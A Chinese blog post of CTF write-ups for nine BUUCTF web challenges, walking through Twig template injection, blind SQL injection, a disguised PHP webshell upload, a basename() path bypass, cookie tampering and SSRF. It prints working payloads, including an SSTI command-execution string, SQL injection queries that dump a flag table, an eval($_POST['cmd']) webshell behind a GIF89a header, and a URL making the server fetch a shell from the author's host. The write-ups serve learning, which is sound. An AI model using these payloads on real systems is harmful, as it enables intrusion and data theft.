BUUCTF寒假刷题记录(二)

发布于 2023-02-16  277 次阅读


[BJDCTF2020]Cookie is so stable

  • 根据题目看应该是要抓包
  • 观察flag界面引用了我们输入的内容,猜测是模板注入,抓包测试,发现由cookie中的user控制

img

  • 做了半天原来是没学过的twig模板,下面贴一张图来判定模板类型

  • 网上搜出来twig模板的利用好像比较固定

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
  • 试一下,得到flag

img)

[ASIS 2019]Unicorn shop

  • 买东西的界面,输入1,2,3都显示的是错误请求,输4号商品显示钱不够,但是html只能输1位
  • 按照之前的思路应该是下载html,修改后上传,但是查看源码后发现本题的判定不在前端
  • 查了之后才知道只有一位字符但是比1337大的字符很多,比如𐡟

img

  • 顺便说一件很有意思的事,我问chatgpt比1337大的unicode字符时,他的回答是这样的,我怎么感觉被嘲讽了🤔

img

[MRCTF2020]PYWebsite

  • 查看源码,发现一段js
function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }

    }
  • 授权码输入正确就跳转到flag.php,不如直接访问
  • "除了购买者和我自己,没有人可以看到flag"多半是XFF
  • 得到flag

img

[WUSTCTF2020]颜值成绩查询

  • 应该是ssti或者sql注入,搜索框搜索之后会get传参stunum
  • 做不出来,原来是新的注入方法:异或注入,并且过滤了
1^if((ascii(substr(database(), 1, 1)) > 50),1,0)^1

等价于
if((ascii(substr(database(), 1, 1)) > 50),1,0)

直接传入sql查询语句即可
  • 测试是否存在注入,并判断出是布尔盲注
?stunum=1^sleep(5)^1--+
出了问题,卡死了

http://98e5dcf6-3701-4a2d-b3d3-1421c8b272dc.node4.buuoj.cn:81/?stunum=1/**/and/**/1=2#
下面显示student number not exists.

http://98e5dcf6-3701-4a2d-b3d3-1421c8b272dc.node4.buuoj.cn:81/?stunum=1/**/and/**/1=1#
下面显示Hi admin, your score is: 100

img

img

  • burp爆库名,得到ctf
1/**/and/**/length(database())=3

1/**/and/**/substr(database(),1,1)='c'
  • burp爆表名,得到flag,score
1/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_sche
ma='ctf'/**/limit/**/0,1))=4

1/**/and/**/substr((select/**/ table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'/**/limit/**/0,1),1
,1)='f'
  • burp爆字段名
1/**/and/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_na
me=%27flag%27/**/limit/**/0,1))=4

1/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_na
me='flag'/**/limit/**/1,1),1,1)='v'
  • 爆数据
1/**/and/**/length((select/**/value/**/from/**/flag/**/limit/**/0,1))=42

1/**/and/**/substr((select/**/value/**/from/**/flag/**/limit/**/0,1),1,1)='f'
  • 得到flag
  • ps:网上看到的wp几乎都是用py写的,很少用burp,我啥时候也把自己那一份py改一下

[GWCTF 2019]枯燥的抽奖

img

  • 查看源代码,发现有一个check.php,访问一下
299VKqOsBW
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");
  • 典型的随机数反推种子
  • 本题利用得到的字符串反推出生成的随机数,再反推出种子,从而得到所有随机数(未解决)不明白为什么字符串反推随机数要这么写
str1 ='299VKqOsBW'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''

length = str(len(str2)-1)
for i in range(0,len(str1)):
    for j in range(0,len(str2)):
        if str1[i] ==  str2[j]:
            result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
            break

print(result)
  • 得到随机数

img

28 28 0 61 35 35 0 61 35 35 0 61 57 57 0 61 46 46 0 61 16 16 0 61 50 50 0 61 18 18 0 61 37 37 0 61 
58 58 0 61
  • 反推种子

img

./php_mt_seed 28 28 0 61 35 35 0 61 35 35 0 61 57 57 0 61 46 46 0 61 16 16 0 61 50 50 0 61 18 18 0 
61 37 37 0 61 58 58 0 61
  • 利用种子拿到随机字符串299VKqOsBWPRmMm1VmIE

img

<?php
mt_srand(107873763);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;
?>
  • 提交字符串,拿到flag

[Zer0pts2020]Can you guess it?

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>
  • $_SERVER[‘PHP_SELF’]表示当前的php文件相对于网站根目录的位置地址
  • basename()会返回路径中的文件名部分。比如/index.php/config.php使用basename()之后返回config.php
bin2hex(random_bytes(64))是一个用于生成64字节随机字符串的PHP表达式。它使用random_bytes函数生成一串随机的
二进制数据(共64字节),然后使用bin2hex函数将二进制数据转换为十六进制字符串。

具体来说,random_bytes函数生成指定长度的安全随机字节序列。在这里,它生成64字节长的随机字节序列,其中64字节等
于512位,足够安全以保证生成一个高强度的随机字符串。然后,bin2hex函数将这个随机字节序列转换为一个由十六进制字
符组成的字符串,使其更易于处理和显示。
  • 随机数就不敢奢望破解了,basename有个漏洞可以利用
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php
  • 也就是说config.php/%ff等价于config.php
  • 同时注意到本来$_SERVER['PHP_SELF']返回的index.php,这使得highlight_file函数将index.php的内容公布,但是经过basename()处理后,类似于basename($_SERVER['PHP_SELF'])将会返回末尾文件名,控制文件名是config.php就可以输出config.php的内容
在访问 index.php 时,服务器会将请求路径的部分作为 $_SERVER['PHP_SELF'] 的值返回给 PHP 脚本。如果请求路径
中包含其他的字符串,例如 /index.php/config.php,那么 $_SERVER['PHP_SELF'] 的值仍然会是 /index.php,而不
是 /index.php/config.php。这种情况下,可以使用 $_SERVER['REQUEST_URI'] 来获取完整的请求路径。
  • 最终payload:/config.php/%ff?source

img

[WUSTCTF2020]CV Maker

  • 这应该是sql注入,但是5个输入框,不知道是哪一个
  • 试了一下发现并不是sql注入,什么反应都没有,先登录试试
  • 原来是文件上传,上传个webshell,提示exif_imagetype not image!
  • exif模块判断,抓包改content type不是exif,是exif_imagetype()函数,查了一下,这个函数检查文件头,伪造文件头就行
GIF89a
<?php
eval($_POST['cmd']);
?>
GIF89a
<script language="php">eval($_POST['cmd']);</script>
  • 两者都可以,下面这种不需要<?可以绕过某些过滤

[watevrCTF-2019]Cookie Store

  • 100元买flag,我只有50,既然提示cookie就抓包看看

img

  • cookie有个一看就是base64编码的东西,解码之后
{"money": 50, "history": []}
  • 看上去直接改这个就行了,抓取买1号食物的cookie,解码之后是
{"money": 50, "history": []}

还post了一个id=1
  • 那么post一个id=2,传入JTdCJTIybW9uZXklMjIlM0ElMjA1MDAwJTJDJTIwJTIyaGlzdG9yeSUyMiUzQSUyMCU1QiU1RCU3RA==即可

[HITCON 2017]SSRFme

  • ssrf的题目
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);
  • 分析一下第一个if的作用,可以无视代理得到用户真实ip
这段 PHP 代码检查是否存在 HTTP_X_FORWARDED_FOR 头,如果存在,则假设客户端使用了代理,并将代理服务器的 IP 
地址解析为客户端的 IP 地址。

当使用代理服务器时,代理服务器将客户端的请求转发给目标服务器。HTTP 请求头中包含 X-Forwarded-For 信息,其中
包含客户端的 IP 地址以及其他经过的代理服务器 IP 地址,多个地址之间以逗号分隔。这个 HTTP_X_FORWARDED_FOR 变
量通常是在代理服务器中使用的。

这段代码将 HTTP_X_FORWARDED_FOR 中的 IP 地址解析为客户端的 IP 地址,以便在 PHP 脚本中使用。
  • 再分析一下运行目录

img

  • 那么输入webshell就行了,好像可以把脚本放自己服务器上,让他get就行了
?filename=1.php&url=drinkflower.asia/1.txt

[b01lers2020]Welcome to Earth

  • 查看源码,发现一个chase目录

img

  • 进入后被跳转了,抓包看看,找到新目录leftt

img

  • 好的,shoot目录

img

  • 好的,door目录,我开始怀疑要写脚本一层一层去点了,但是它的每一层的网页并不是固定格式,爬虫不好爬啊

img

  • 这里要选择,但是check函数没给出,应该是放在哪个js文件里面了,页面正好有一个/static/js/door.js

img

  • 好的,open目录

img

  • 好的,/static/js/open_sesame.js

img

  • 好的,fight目录

img

  • 好的,fight.js找到flag,不过没有顺序,试着控制台跑一下,没有key跑不出来

img

  • 网上的解决办法是python进行字符串全排列,学到了
from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

item = permutations(flag)
for i in item:
    k = ''.join(list(i))
    if k.startswith('pctf{hey_boys') and k[-1] == '}':
        print(k)
  • 下面分析一下这里面的用法
这段 Python 代码使用了 itertools 模块的 permutations 函数,对一个由 8 个字符串组成的列表进行排列,然后逐个
排列的字符串组合成新的字符串并检查是否符合特定的格式要求。具体来说:

    使用 permutations 函数生成 flag 列表的全排列。
    逐个取出每个排列,将字符串列表中的元素连接成一个字符串。
    对于每个字符串,检查其是否以 'pctf{hey_boys' 开头,并以 '}' 结尾。
    如果符合条件,则打印该字符串。

该代码涉及到的知识点包括:列表、迭代器、字符串、全排列生成、字符串拼接、字符串格式要求的检查、循环控制语句、
输出打印等。
届ける言葉を今は育ててる
最后更新于 2024-02-07